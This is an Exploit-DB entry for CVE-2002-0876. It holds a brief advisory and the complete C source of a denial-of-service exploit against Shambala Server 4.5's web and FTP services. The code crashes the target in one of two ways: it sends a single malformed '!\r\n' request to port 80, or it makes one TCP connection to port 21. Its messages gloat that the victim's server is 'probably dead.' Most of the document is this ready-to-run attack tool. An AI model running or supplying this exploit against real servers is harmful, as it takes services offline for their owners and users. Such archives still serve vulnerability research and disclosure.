标题: Evolvable Shambala Server 4.5 - Web Server Denial of Service EDB-ID: 21498 CVE: 2002-0876 类型: DOS 平台: WINDOWS 发布日期: 2002-05-31 漏洞利用脚本: // source: https://www.securityfocus.com/bid/4897/info

Shambala Server is a FTP, Web, and Chat server targeted for the Small Office/Home Office user.

It has been reported that Shambala Server's web server may be prone to a denial of service vulnerability. The denial of service condition is a result of the web server failing to handle malformed requests. 

/******** shambalax.c ***********************************************************

*                                                          *

* PoC exploit for the DoS in Shambala Server 4.5           *

* as described in Telhack 026 Inc. S.A. #3 (BID:4897).     *

* I have also built in a function that exploits another    *

* DoS condition found by zillion a long long time ago.     *

* Also refined my DoS a little bit by just using one                            *

* char that mess up Shambala.                                                   *

*                                                          *

* By: Daniel Nystr�m (excE) <exce@netwinder.nu>            *

*                                                          *

*                                                          *

* Notes:                                                                        *

* I found that zillion had only been almost right, it                           * 

* is not opening a lot of TCP connection that generates                         *

* the DoS that he found, it is just one TCP connection,                         *

* but it certainly has to do with bad connection handling                       *

* by Shambala.                                                                  *

*                                                                               *

*                                                                               *

*                                                                               *

* Credits:                                                                      *

* Zillion <zillion@safemode.org> - for discovering the FTP DoS                  *

*                                                          *

* Greetz:                                                                       *

* Xenogen <*****@**********.***> - for promising to report any segfaults :)     *

* X-Rewt  <*****@**********.***> - Cuz he's in my school :P                     *

* Telhack 026 Inc. crew - STOP phreaking, START doing something more fun :))    *

*                                                                               *

*********************************************************** shambalax.c ********/



#include <stdio.h>

#include <stdlib.h>

#include <errno.h>

#include <string.h>

#include <sys/types.h>

#include <netinet/in.h>

#include <netdb.h>

#include <sys/socket.h>





int main(int argc, char *argv[])

{

 int sockfd;

 int port;

 int numbytes;

 

 struct sockaddr_in target;

 struct hostent *he;



 if (argc != 3)

 {

  fprintf(stderr, "\n-- Shambala Server 4.5 DoS exploit --\n");

  fprintf(stderr, "\nUsage: %s <target> <type>", argv[0]);

  fprintf(stderr, "\nTypes:");

  fprintf(stderr, "\n1  -  HTTPD DoS");

  fprintf(stderr, "\n2  -  FTP DoS\n\n");

  exit(1);

 }

 

 printf("\n-- Shambala Server 4.5 DoS exploit --\n\n");

 printf("-> Starting...\n"); 

 printf("->\n");



 if ((he=gethostbyname(argv[1])) == NULL)

 {

  herror("gethostbyname");

  exit(1);

 }



 if ((sockfd=socket(AF_INET, SOCK_STREAM,0)) == -1)

 {

  perror("socket");

  exit(1);

 }



 /* HTTPD DoS */

 if(argv[2][0] == '1')

 {

  port = 80;

  target.sin_family = AF_INET;

  target.sin_port = htons(port);

  target.sin_addr = *((struct in_addr *)he->h_addr);

  bzero(&(target.sin_zero), 8);

  printf("-> Connecting to %s:80...\n", inet_ntoa(target.sin_addr));

  printf("->\n");

  if (connect(sockfd, (struct sockaddr *)&target, sizeof(struct sockaddr)) == -1)

  {

   perror("connect");

   exit(1);

  }

  printf("-> Sending httpd exploit string!! M4y th3 3v1L Shambala d13!!! :)\n"); 

  printf("->\n");

  if(send(sockfd, "!\r\n", 3, 0) == -1)

  {

   perror("send");

   exit(1);

  } 

  close(sockfd);

 }

 else

 

 /* FTPD DoS */

 if(argv[2][0] == '2')

 {

                port = 21;

                target.sin_family = AF_INET;

                target.sin_port = htons(port);

                target.sin_addr = *((struct in_addr *)he->h_addr);

                bzero(&(target.sin_zero), 8);

                printf("-> Making a TCP connection (!which crashes server!) to %s:21...\n", inet_ntoa(target.sin_addr));

                printf("->\n");

                if (connect(sockfd, (struct sockaddr *)&target, sizeof(struct sockaddr)) == -1)

                {

                        perror("connect");

                        exit(1);

                }

                close(sockfd);

 }

 else

 {

  fprintf(stderr, "\n\nError: Bad type definition (use 1 or 2 for <type>).\n\n");

  exit(1);  

 }



 printf("-> Exploit finished nicely. %s's Shambala is probably dead by now.\n\n", argv[1]);



}



/* EOF - Shambala Server 4.5 DoS exploit     */

/* Daniel Nystr�m (excE) <exce@netwinder.nu> */ URL: https://www.exploit-db.com/exploits/21498